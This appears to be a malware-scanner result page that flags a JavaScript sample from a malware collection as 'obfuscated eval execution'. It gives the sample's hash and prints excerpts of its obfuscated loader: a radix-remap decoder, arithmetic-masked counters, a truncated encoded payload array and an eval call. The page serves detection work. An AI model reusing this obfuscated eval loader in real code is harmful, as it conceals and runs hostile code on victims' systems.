Suspicious ^80% javascript-malware-collection Download

0dae7c1703452b799d8671fe557b09a679bb88a977b6f10088eec820f40c6e79.unknown

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2560dae7c1703452b799d8671fe557b09a679bb88a977b6f10088eec820f40c6e79

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function cROrj(vlwrkVhoOPh,UiryTTFVSALfd,MwbqmlEl){buKI=parseInt(vlwrkVhoOPh,UiryTTFVSALfd);CRsrC=buKI.toString(MwbqmlEl);return CRsrC;}function yzEZtmwvtIrUKGt(dJHAWcHeAMqukFZXv){eval(dJHAWcHeAMqukFZXv)}
3function EqUsrcZRyQivMxPqcirPskmzawVvuyoyxHKSKYfRkDbuNOzpgZSbgb(PtWZWXfKuwpOY,kgqdmRSRfgLSyL){ return jbGHR[cROrj(PtWZWXfKuwpOY[kgqdmRSRfgLSyL],(12032+43)/575,(3383+127)/351)];}
4function BnkjshL(OnhDvJFRgVrgLFDMoQZnmntKDWtihFLQiiVU) {return !isNaN(parseFloat(OnhDvJFRgVrgLFDMoQZnmntKDWtihFLQiiVU)) && isFinite(OnhDvJFRgVrgLFDMoQZnmntKDWtihFLQiiVU);}
5function IOnkJFiLgGG(cuNdbBmr,egsajM){return cuNdbBmr.split(egsajM)}
6var A=new Array("d","a","d","a","5d","4d","59","1b","45","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  cQywG=[A,t];
9var WtXbmRMRc=[];
10function uvstUPGZNvNNchKSo(cQywG){DajnOoONHmO= '';wmRslVcQkdC=(-517+517)/837; while(true){if(wmRslVcQkdC >= (-347+647)/150)break;WtXbmRMRc[wmRslVcQkdC]=(-593+593)/212; while(true) { if(WtXbmRMRc[wmRslVcQkdC] > cQywG[wmRslVcQkdC].length-(138+720)/858) { break; } if (BnkjshL(cROrj(cQywG[wmRslVcQkdC][WtXbmRMRc[wmRslVcQkdC]],(12976+989)/665,(5549+101)/565))) {DajnOoONHmO += EqUsrcZRyQivMxPqcirPskmzawVvuyoyxHKSKYfRkDbuNOzpgZSbgb([cQywG[wmRslVcQkdC][WtXbmRMRc[wmRslVcQkdC]]], (-145+145)/364);} WtXbmRMRc[wmRslVcQkdC]++;}wmRslVcQkdC++;} return DajnOoONHmO}
11yzEZtmwvtIrUKGt(uvstUPGZNvNNchKSo(cQywG));